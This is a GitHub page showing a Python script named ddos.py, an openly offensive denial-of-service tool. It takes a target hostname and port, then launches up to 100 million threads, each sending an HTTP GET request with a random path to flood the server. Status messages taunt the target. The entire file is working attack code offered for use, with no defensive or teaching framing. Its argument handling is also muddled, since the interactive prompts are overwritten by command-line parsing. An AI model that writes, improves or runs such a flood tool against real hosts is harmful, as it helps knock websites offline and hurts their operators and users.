-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathddos.py
128 lines (89 loc) · 3.55 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import random
import socket
import string
import sys
import threading
import time
logo = """
▓█████▄ ▓█████▄ ▒█████ ██████
▒██▀ ██▌▒██▀ ██▌▒██▒ ██▒▒██ ▒
░██ █▌░██ █▌▒██░ ██▒░ ▓██▄
░▓█▄ ▌░▓█▄ ▌▒██ ██░ ▒ ██▒
░▒████▓ ░▒████▓ ░ ████▓▒░▒██████▒▒
▒▒▓ ▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ▒ ▒ ░ ▒ ▒ ░ ▒ ▒░ ░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░
░ ░
"""
print(logo)
# Parse inputs
host = input('host: ')
ip = input('target_ip: ')
port = input('port: ')
num_requests = 0
if len(sys.argv) == 2:
port = 80
num_requests = 100000000
elif len(sys.argv) == 3:
port = int(sys.argv[2])
num_requests = 100000000
elif len(sys.argv) == 4:
port = int(sys.argv[2])
num_requests = int(sys.argv[3])
else:
print ("ERROR\n Usage: ddos < Hostname > < Port > < Number_of_Attacks >")
sys.exit(1)
# Convert FQDN to IP
try:
host = str(sys.argv[1]).replace("https://", "").replace("http://", "").replace("www.", "")
ip = socket.gethostbyname(host)
except socket.gaierror:
print (" ERROR\n Make sure you entered a correct website")
sys.exit(2)
# Create a shared variable for thread counts
thread_num = 0
thread_num_mutex = threading.Lock()
# Print thread status
def print_status():
global thread_num
thread_num_mutex.acquire(True)
thread_num += 1
print ("\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num) + "] #-#-# Hold Your Tears #-#-#")
thread_num_mutex.release()
# Generate URL Path
def generate_url_path():
msg = str(string.ascii_letters + string.digits + string.punctuation)
data = "".join(random.sample(msg, 5))
return data
# Perform the request
def attack():
print_status()
url_path = generate_url_path()
# Create a raw socket
dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Open the connection on that raw socket
dos.connect((ip, port))
# Send the request according to HTTP spec
#dos.send("GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host))
msg = "GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host)
byt = msg.encode()
dos.send(byt)
except socket.error:
print ("\n [ No connection, server may be down ]: " + str(socket.error))
finally:
# Close our socket gracefully
dos.shutdown(socket.SHUT_RDWR)
dos.close()
print ("[#] Attack started on " + host + " (" + ip + ") || Port: " + str(port) + " || # Requests: " + str(num_requests))
# Spawn a thread per request
all_threads = []
for i in range(num_requests):
t1 = threading.Thread(target=attack)
t1.start()
all_threads.append(t1)
# Adjusting this sleep time will affect requests per second
time.sleep(0.01)
for current_thread in all_threads:
current_thread.join() # Make the main thread wait for the children threads